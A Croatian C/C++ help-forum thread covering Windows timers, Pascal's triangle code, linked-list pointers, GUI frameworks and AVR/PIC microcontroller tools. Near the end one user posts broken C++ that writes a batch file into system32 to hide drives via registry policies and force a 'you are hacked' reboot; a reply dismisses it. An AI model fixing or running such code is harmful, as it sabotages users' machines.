Programiranje u C++-u - pitanja i odgovori izdvojena tema

poruka: 7.285
|
čitano: 1.713.093
|
moderatori: Lazarus Long, XXX-Man, vincimus
+/- sve poruke
ravni prikaz
starije poruke gore
13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().

 

ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.

 
0 0 hvala 0
15 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
LFS racer kaže...

kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().

 

ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.

nanosleep postoji u linuxu ali ne i windowsima, na kojem ti to operacijskom sustavu pokušavaš kompajlirati?

 

na windowsima moraš koristiti posebne timere visoke preciznosti, jer onaj defaultni ima preciznost od oko 10-ak ms

http://www.geisswerks.com/ryan/FAQS/timing.html

Oscar-Mike-Golf Whiskey-Tango-Foxtrot
Poruka je uređivana zadnji put ned 14.10.2012 23:58 (rustweaver).
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
rustweaver kaže...
LFS racer kaže...

kolko čitam po netu nanosleep(); je definiran u time.h, no imam uključen time.h i neće skompajlirati. i ne nije mi dovoljan Sleep().

 

ovo mi piše u codeblocksu, undefined reference to `nanosleep, odnosno nema je.

nanosleep postoji u linuxu ali ne i windowsima, na kojem ti to operacijskom sustavu pokušavaš kompajlirati?

 

na windowsima moraš koristiti posebne timere visoke preciznosti, jer onaj defaultni ima preciznost od oko 10-ak ms

http://www.geisswerks.com/ryan/FAQS/timing.html

win 7, kad radim sa Sleep(1) mogu dobiti točno 1ms (mjerio sam) ali trebam točnije, budem pogledo ovaj link

15 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
LFS racer kaže...

(mjerio sam)

Čime?

 

Sistemski timer nije ništa precizniji u novim iteracijama windowsa, tako da je lako moguče da si donio pogrešne zaključke. Vidi ovo i ovo za više informacija.

Oscar-Mike-Golf Whiskey-Tango-Foxtrot
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
rustweaver kaže...
LFS racer kaže...

(mjerio sam)

Čime?

 

Sistemski timer nije ništa precizniji u novim iteracijama windowsa, tako da je lako moguče da si donio pogrešne zaključke. Vidi ovo i ovo za više informacija.

ftime(), uvijek sam dobivao razlike za 1ms 

 

 

ovako ukratko pokušavam napisat petlju koji će svakih 10ms izvršiti kod.

 

 

for(;;)

{

ftime(&tmb);

 

if(tmb.millitm%10=0)

{/*kod*/}

 

Sleep(1);

}

 

tako nešto samo malo sofisticiranije napisat if da radi nakon promjene sekunde

Poruka je uređivana zadnji put pon 15.10.2012 1:10 (LFS racer).
12 godina
offline
Re: Programiranje u C++-u - pitanja i odgovori
neznam123456 kaže...

Pozdrav,

evo imam jedan zadačić koji baš i ne uspijevam riješiti, makar je dosta jednostavan, može se riješiti samo pomoću for petlji.

Treba napisati program koji će pomoću dvodimenzionalng niza  a[10][10]  dobiti ovakvu tablicu:

 

 

1    0    0    0    0    0    0    0    0    0    0

1    1    0    0    0    0    0    0    0    0    0

1    2    1    0    0    0    0    0    0    0    0

1    3    3    1    0    0    0    0    0    0    0

1    4    6    4    1    0    0    0    0    0    0

1    5  10  10    5    1    0    0    0    0    0 

.....

 

Moj program glasi ovako:

 

#include <iostream>
#include <iomanip>
using namespace std;
int main () {
   
    int a [10][10] ={   {1,0,0,0,0,0,0,0,0,0},
                   {1,1,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0},
                   {1,0,0,0,0,0,0,0,0,0}
                                     };
    for (int b = 0; b <= 1; ++b){
       for (int c = 0; c<=9; ++c){
       cout << setw(4) <<a[b][c];
       }
    cout << endl;
    cout << endl;   
    }
      
    for (int i = 2; i <= 9; ++i){
       for (int j = 0; j <= 9; ++j){
         
       a [i][j]= (a[i-1][j-1])+ (a[i-1][j]);
       cout << setw(4) <<a[i][j];
         
       }
       cout << endl;
       cout << endl;
    }
}

 

E sad me zanima kako napisati jednostavniji program ( ili kompliciraniji :D ), budući da sam ja "varao" i prva dva reda ispisao odmah pomoću petlje,a ne pomoću računanja, te sam u  drugom redu kod inicijaliziranja niza napisao 1,1,0,0.......

 

Zahvaljujem.  

 

Ljudi, da li može pomoć? :)

13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

jel se smije na početku ovako definirat:

    int a [10][10]={{1,0,0,0,0,0,0,0,0,0},
                   {1,1,0,0,0,0,0,0,0,0},
                   {1,0,1,0,0,0,0,0,0,0},
                   {1,0,0,1,0,0,0,0,0,0},
                   {1,0,0,0,1,0,0,0,0,0},
                   {1,0,0,0,0,1,0,0,0,0},
                   {1,0,0,0,0,0,1,0,0,0},
                   {1,0,0,0,0,0,0,1,0,0},
                   {1,0,0,0,0,0,0,0,1,0},
                   {1,0,0,0,0,0,0,0,0,1}
                                     };

 
0 0 hvala 0
12 godina
offline
Programiranje u C++-u - pitanja i odgovori

E to neznam. Ovako glasi zadatak:

Napišite program koji će dvodimenzionalni niz a [10][10] popuniti binomnim koeficijentima. Uputa: koeficijente možete odrediti pomoću Pascalova trokuta u kojem su svi članovi u prvom retku jednaki 0 osim člana u prvom stupcu koji je jednak 1. Članovi u prvom stupcu svih redaka su jednaki 1, a ostali članovi su jednaki zbroju člana neposredno iznad i lijevo do tog člana, kao što se vidi u tablici.

Moj PC  
0 0 hvala 0
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
neznam123456 kaže...

(...) a ostali članovi su jednaki zbroju člana neposredno iznad i lijevo do tog člana, kao što se vidi u tablici.

ajde daj tablicu da vidimo

12 godina
offline
Programiranje u C++-u - pitanja i odgovori

Tablica je dana u prethodnom postu, nije mi se opet dalo ispisivat. Ali evo još jednom:

 

1    0    0    0    0    0    0    0    0    0    0

1    1    0    0    0    0    0    0    0    0    0

1    2    1    0    0    0    0    0    0    0    0

1    3    3    1    0    0    0    0    0    0    0

1    4    6    4    1    0    0    0    0    0    0

1    5  10  10    5    1    0    0    0    0    0

...

...

 

Moj PC  
0 0 hvala 0
13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

Pozdrav,

 

Problem je dakle u tome sto imam switch u kojem iz jednog case-a trebam proslijediti adresu (konkretno glave vezane liste) u drugi case te to proslijediti funkciji koja bi dodavala novi clan liste.

Totalno sam se pogubio gdje bi tu trebalo teoretski koristiti * a gdje & i compiler mi se crasha kad dodje do dijela gdje treba pronaci zadnji element liste u funkciji.

 

Može li mi netko objasnit kad i gdje bi u ovom slučaju trebao koristit * a gdje & ili oboje skupa ?

 
0 0 hvala 0
14 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori

Glava liste je ništa drugo već pokazivač na nuli element liste tj. u argumentnoj listi funkcije pokazivač na pokazivač (**). Primjer za stog:

 

struct zapis{
    int element;
    struct zapis* sljed;
};
typedef struct zapis glava;

int dodaj(glava **vrh, int element) {
    glava *novi;
    if ((novi = (glava *) malloc(sizeof(glava))) == NULL)
       return 0;
    novi->element = element;
    novi->sljed = *vrh;
    *vrh = novi;
    return 1;
}

 

..negdje u main-u

glava* glavaListe = NULL;
dodaj(&glavaListe, nekiBroj);

 

U ovom slučaju *vrh je zapravo nulti element tj. onaj na koji pokazuje pokazivač glave liste. Također, strelica (->):

 

novi->element... je zapravo (*novi).element

Kada lajavci laju onda završe ovako: http://i471.photobucket.com/albums/rr77/toropreto/2012-07-0813_30_07.gif
Poruka je uređivana zadnji put uto 16.10.2012 11:23 (TracerCPP).
13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

Što sve i koliko dobro trebam znati prije programiranja GUI aplikacija ? I da li se GUI aplikacije programiraju 100% u kodu ili ?

 
0 0 hvala 0
15 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Fuhrer kaže...

Što sve i koliko dobro trebam znati prije programiranja GUI aplikacija ? I da li se GUI aplikacije programiraju 100% u kodu ili ?

U kojem jeziku, i za koju platformu?

 

Ako je C onda:

  • na Windowsima imaš Windows API i GTK+
  • na Linuxu GTK+

Ako je C++ onda:

  • na Windowsima imaš Windows API, MFC (Microsoftovi alati), VCL (Borlandovi alati), QT, WxWidgets, FLTK, GTK+
  • a na Linuxu imaš QT, WxWidgets, FLTK, GTK+

Ako je C# onda:

  • na Windowsima imaš WPF/Windows Forms
  • na Linuxu imaš GTK#, Qyoto, Wx.Net

 

Za neke GUI frameworke ćeš moči koristiti kojekakve dizajnere korisničkih dijaloga, dok ćeš za neke morati sve sam napisati. Više manje moraš znati samo programski jezik u kojem ćeš raditi i framework koji ćeš koristiti (znači zabiti nos u dokumentaciju i možda i nekakve tutorijale dok ti sve ne postane jasno).

Oscar-Mike-Golf Whiskey-Tango-Foxtrot
13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

Hvala . I podržava li c++ .Net ?

 
0 0 hvala 0
15 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
neznam123456 kaže...

E to neznam. Ovako glasi zadatak:

Napišite program koji će dvodimenzionalni niz a [10][10] popuniti binomnim koeficijentima. Uputa: koeficijente možete odrediti pomoću Pascalova trokuta...

Da si odmah još u prvom postu spomenuo binomne koeficijente i pascalov trokut, prije bi dobio rješenje.

 

#include <stdlib.h>
#include <stdio.h>

int main()
{
    int tablica[6][11] = {{1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
                          {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
                          {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
                          {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
                          {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
                          {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}};
    int x, y;
   
    for (y=1; y<6; y++)
        for (x=1; x<11; x++)
            tablica[y][x]=tablica[y-1][x-1]+tablica[y-1][x];
   
    for (y=0; y<6; y++)
    {
        for (x=0; x<11; x++)
        {
            printf("%2d ", tablica[y][x]);
        }
        printf("\n");
    }
   
    system("pause");
    return 0;
}

Oscar-Mike-Golf Whiskey-Tango-Foxtrot
15 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Fuhrer kaže...

Hvala . I podržava li c++ .Net ?

Postoji managed C++, dakle da. Ali trebaju ti Microsoftovi alati, dakle Visual Studio. Zaboravi na Code Blocks, DevCpp i slične...

 

http://www.codeproject.com/Articles/11634/Managed-C-Learn-by-Example-Part-1

Oscar-Mike-Golf Whiskey-Tango-Foxtrot
13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

znam da je ova tema posvećena c++-u, ali sam negdje pitao za programiranje mikrokontrolera i to se može samo u c-u pa može li netko preporučiti neku knjigu za c (za programiranje mikrokontrolera) u mplabu x

Poruka je uređivana zadnji put čet 18.10.2012 18:54 (pall44).
 
0 0 hvala 0
14 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
pall44 kaže...

znam da je ova tema posvećena c++-u, ali sam negdje pitao za programiranje mikrokontrolera i to se može samo u c-u pa može li netko preporučiti neku knjigu za c (za programiranje mikrokontrolera) u mplabu x

 

Za programiranje mikrokontrolera se može koristiti i Flowcode i Arduino.

'Život je nekada čudan. Nekada je divan. Nekada je grozan. A nekad poželiš da nisi ni živ. Svakakva sranja se dešavaju. Ali opet, postoje i dobre stvari u životu za koje vrijedi živjeti.'
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Aliser kaže...

Za programiranje mikrokontrolera se može koristiti i Flowcode i Arduino.

znam ali nemaju trial i bolji mi je mplab x

13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Aliser kaže...

Za programiranje mikrokontrolera se može koristiti i Flowcode i Arduino.

 

Flowcode nije džabalesku.

Arduino nema veze s PIC-evima, čovjek bi naime koristio MPLAB (Microchip, PIC).

13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
pall44 kaže...

znam da je ova tema posvećena c++-u, ali sam negdje pitao za programiranje mikrokontrolera i to se može samo u c-u pa može li netko preporučiti neku knjigu za c (za programiranje mikrokontrolera) u mplabu x

 

Odgovoreno ti je u ovoj temi, nekoliko stranica prije ove (ne znam staviti link na to, niti mi se da sada zamarati time).

 

Što se tiče programiranja (C), knjiga ti može biti bilo koja o C-u (ako nemaš prethodnog iskustva). Najprije treba znati osnove jezika, pa onda krenuti na rad s čipovima.

Izgubiti ćeš se ako su ti obje stvari nove.

 

IDE ćeš najbolje naučiti tako da pogledaš uputstvo i pokušaš raditi u njemu. Microchip je dobar što se tiče dokumentacije.

 

A PIC za kojeg misliš raditi softver će ti zadati najviše glavobolje. Za početak skompajliraj par jednostavnijih primjera (paljenje/gašenje LED-ica i slično), pa onda kreni proučavati datasheet od samog čipa.

 

Bez obzira na jezik morati ćeš znati kako to radi ispod haube.

 

Ovdje imaš link na nešto teksta o programiranju PIC-eva u C-u (no korišteni IDE je od Mikroelektronike, a za PIC ne znam je li onaj koji ti planiraš koristiti):

http://www.mikroe.com/products/view/285/book-pic-microcontrollers-programming-in-c/

 

13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Djuro von Prekoplotovich kaže...
pall44 kaže...

(...)

imam ATtiny 2313

Poruka je uređivana zadnji put ned 21.10.2012 17:36 (pall44).
13 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

sad sam vidio u codeblocks-u avr project i na listi je attiny 2313

jel to onda znači da sve mogu obavit u codeblocksu kojeg nisam nadograđivao ili treba neki posebni kompajler?

 
0 0 hvala 0
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
pall44 kaže...

sad sam vidio u codeblocks-u avr project i na listi je attiny 2313

jel to onda znači da sve mogu obavit u codeblocksu kojeg nisam nadograđivao ili treba neki posebni kompajler?

 

Dakle, ti si malo pobrkao stvari.

 

MPLAB služi za kuckanje koda za PIC mikrokontrolere. To su oni koje proizvodi Microchip.

ATTiny je AVR mikrokontroler i proizvodi ga Atmel.

Ta dva su međusobno nekompatibilna i nećeš moći raditi sa istim kompajlerom za oba.

 

Pa onda hajdmo ovako:

Ako hoćeš raditi u C-u i ako se radi on Windows operativnom sustavu, tada najprije trebaš kompajler, pa skini WinAVR

http://sourceforge.net/projects/winavr/files/

Nema veze što je instalacija stara 2 godine, u tom svijetu nova verzija ne izlazi svakih 6 mjeseci.

 

Nakon toga ćeš trebati IDE.

Tu možeš sa Atmelovih stranica (www.atmel.com) skinuti AVR studio, trenutna verzija je 6. (Još uvijek koristim verziju 4). On ima simulator, što ti može biti korisno dok se učiš.

IDE nije savršen i ima iritatnih bugova, barem u vooj verziji koju koristim.

 

Možeš koristiti i Eclipse, ali u tom slučaju trebaš ovaj plugin:

http://avr-eclipse.sourceforge.net/wiki/index.php/The_AVR_Eclipse_Plugin

 

Teoretski možeš koristiti Arduino. To nisam probao i ne mogu ti dati savjet što i kako, jer koliko se sjećam, on je rađen za malo jače AVR-ove (ATMega i slične).

 

Što se tiče razvoja, sve važi kao i za prethodnu poruku, samo u ovom slučaju moraš dobro proučiti datasheet za taj AVR.

12 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Djuro von Prekoplotovich kaže...
pall44 kaže...

(...)

a šta je onda bolje AVR ili PIC mikrokontroleri?

A Life? Cool! Where can I download one of those?***To win the game, you must kill me:)(
Poruka je uređivana zadnji put pon 22.10.2012 11:50 (Core_Meltdown).
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
pall44 kaže...

sad sam vidio u codeblocks-u avr project i na listi je attiny 2313

jel to onda znači da sve mogu obavit u codeblocksu kojeg nisam nadograđivao ili treba neki posebni kompajler?

 

Pošto sam morao otići nešto obaviti, nisam stigao nakucati do kraja...

 

Code::Blocks je samo IDE. No, ako si pronašao da ima podršku za taj AVR, tada će trebati također instalirati i kompajler (pokušaj sa WinAVR).

IDE bi trebao biti dovoljno pametan da pronađe kompajlere.

 

Ako ti zatreba simulator, opet ćeš morati instalirati AVR Studio.

Iskreno, još nisam uspio pronaći dobar open source simulator za bilo koji mikrokontroler i da je uz to jednostavan za korištenje.

 

Kombinacija koju inače koristim za rad sa AVR-ovima je STK500 i STK501, pa uz to AVR JTAGICE mkII.

Software nekada kucam u Eclipseu, a nekada u AVR Studiu, ovisno o tome koliko je velik projekt.

 

No, zbog alata koje koristim, debugging i simulacija idu preko AVR Studia.

13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori
Core_Meltdown kaže...

a šta je onda bolje AVR ili PIC mikrokontroleri?

 

Ovo je jedno od pitanja koje inače započinje religijske ratove.

No, na sreću ovo najvjerojatnije nije grupa gdje se muvaju elektroničari.

Bolje je ono što si možeš trenutno priuštiti, pa ako vidiš da te to zanima i htio bi malo više raditi, tada ćeš s vremenom svejedno isprobati obje platforme.

 

Kod za PIC-eve ćeš u 99% slučajeva raditi u MPLAB-u (jedini free kompajler u kojem su podržani je SDCC), a za AVR izbor je malo veći (što nužno i ne mora biti bolja stvar).

 

PIC-evi su popularniji u SAD-u, AVR-ovi s ove strane bare.

 

To je pod uvjetima da pričamo o 8-bitašima.

Na ovima malo kompleksnijima (16 ili 32-bit) izbor nije tako jednostavan.

 

Pogledaš nekakve osnovne ploče za početnike (tasteri, LED-ice, zujalice i slično) i uzmeš ono za što imaš para.

Ako se kužiš u elektroniku i imaš opremu (alat, lemilica) i sikustvo, pogledaj shemu za nekakvu ploču i napravi ju sam.

Ako si početnik, nemoj to raditi, jer ćeš potrošiti gomilu vremena, živaca i novaca.

 

12 godina
neaktivan
offline
Programiranje u C++-u - pitanja i odgovori

evo imam problem s ovi programom:

 

#include <windows.h>
#include <fstream>
#include <iostream>
#include <cstring>
#include <conio.h>
int main()
{
ofstream::write( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n";
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
write <<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n";
write.close(); //close file

ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL);

return 0; }

 

(ako imate win7, nemojte kompajlirat)

neprepoznaje ofstream i write

-radim u codeblocksu

A Life? Cool! Where can I download one of those?***To win the game, you must kill me:)(
 
0 0 hvala 0
13 godina
neaktivan
offline
Re: Programiranje u C++-u - pitanja i odgovori

Ovo je bez veze, zapisuješ registry ključeve u .bat datoteku. Onda ti kaže da si hakiran, okani se ovoga i kopiranja nekih kôdova...

Kako misliš ne prepoznaje ofstream!?
Ako radiš u Codeblocksu imaš mogućnost da radiš sa dosta kompajlera, ali nekako sam ubjeđen da je riječ o GCC-u?

Poruka je uređivana zadnji put sri 24.10.2012 11:35 (royalhero).
E-mail:
Lozinka:
 
vrh stranice